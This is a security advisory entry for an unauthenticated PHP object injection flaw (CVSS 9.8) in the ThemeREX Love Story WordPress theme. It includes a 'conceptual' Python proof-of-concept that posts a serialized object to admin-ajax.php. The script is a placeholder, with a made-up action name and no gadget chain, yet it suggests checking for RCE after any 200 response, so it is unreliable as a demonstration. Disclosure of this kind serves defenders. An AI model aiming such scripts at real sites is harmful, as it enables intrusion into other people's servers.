Deserialization of Untrusted Data vulnerability in ThemeREX Love Story lovestory allows Object Injection.This issue affects Love Story: from n/a through <= 1.3.12.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Love Story <= 1.3.12
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2026-27082 PoC (Conceptual)
# Target: ThemeREX Love Story Theme <= 1.3.12
# Vulnerability: Unauthenticated PHP Object Injection
def generate_payload():
# Generic payload structure (Replace with actual gadget chain if available)
# This represents a serialized object that triggers __destruct or __wakeup
payload = 'O:8:"stdClass":0:{}'
return payload
def exploit(url):
target_url = f"{url}/wp-admin/admin-ajax.php" # Example endpoint, actual endpoint may vary
data = {
'action': 'vulnerable_action',
'data': generate_payload()
}
try:
response = requests.post(target_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully. Check for RCE or specific response indicators.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
else:
exploit(sys.argv[1])